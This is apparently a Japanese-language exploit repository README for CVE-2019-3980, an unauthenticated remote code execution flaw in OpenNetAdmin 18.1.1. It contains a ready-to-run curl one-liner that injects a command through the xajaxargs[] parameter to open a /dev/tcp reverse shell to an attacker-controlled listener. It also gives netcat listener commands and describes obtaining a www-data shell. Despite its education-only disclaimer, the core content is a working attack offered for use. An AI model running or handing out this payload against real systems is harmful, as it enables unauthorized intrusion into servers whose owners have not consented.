CVE-2019-3980 – OpenNetAdmin 18.1.1 リモートコード実行

⚠️ 免責事項
このリポジトリは教育および研究目的のみに使用されることを意図しています。
ここで提供される情報とコードは、プライベートラボマシンなどの管理された環境でのみ使用できます。
あなたが所有していない、または明示的な許可を得ていないシステムに対してこのコードを不正に使用することは、違法かつ非倫理的です。
著者は、誤用や損害について一切の責任を負いません。

🔍 脆弱性について

OpenNetAdmin 18.1.1 に、xajax AJAXリクエストインターフェースを介したリモートコード実行の脆弱性が存在します。
この脆弱性は、不適切な入力サニタイズに起因し、/ona/ への細工されたPOSTリクエストを介してコマンドインジェクションを可能にします。
このエクスプロイトは tooltips プラグインを利用して、攻撃者のリスナーにリバースシェルを送り込みます。

• CVE ID: CVE-2019-3980
• Exploit-DB ID: 47691
• 影響を受けるアプリケーション: OpenNetAdmin 18.1.1
• 影響を受けるパラメータ: xajaxargs[]
• 影響: リモートコード実行
• 認証の必要性: ❌ 不要
• ネットワークアクセス: ✅ 必要

📂 エクスプロイト概要

• エクスプロイトタイプ: コマンドインジェクション → リバースシェル
• エクスプロイトタイトル: OpenNetAdmin 18.1.1 – 認証不要のRCE
• ExploitDB ID: 47691
• 言語: Bash（curl 使用）
• 認証の必要性: ❌ 不要

⚙️ エクスプロイトコード

このカスタマイズされたBashワンライナーは、注入されたリバースシェルコードを伴うPOSTリクエストを、脆弱性のある xajax=window_submit エンドポイントに送信します。

#!/bin/bash

curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<YOUR-IP>%2F<YOUR-PORT>%200%3E%261%22;echo \"END\"&xajaxargs[]=ping" "http://<TARGET-IP>/ona/" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1

🛠️ 注意:
<YOUR-IP> と <YOUR-PORT> を、ご自身のNetcatリスナーのIPとポートに置き換えてください。
リスナーは以下で起動します:

nc -nlvp <PORT>

🎯 デモンストレーション

1. ONAウェブページとバージョンの表示

脆弱なOpenNetAdminインターフェースとバージョンのスクリーンショット。

🚀 エクスプロイトの使用

2. エクスプロイトを実行

bash shell.sh

スクリプトの実行によりペイロードがトリガーされているスクリーンショット。

🐚 リバースシェル

3. リバースシェルの取得

nc -nlvp <PORT>

www-data として取得されたリバースシェル。

📚 参考文献

• Exploit-DB: CVE-2019-3980
• NVD CVE情報

📝 Mediumブログ

詳細な解説と理論は私のMedium記事をご覧ください:
👉 Mediumでブログを読む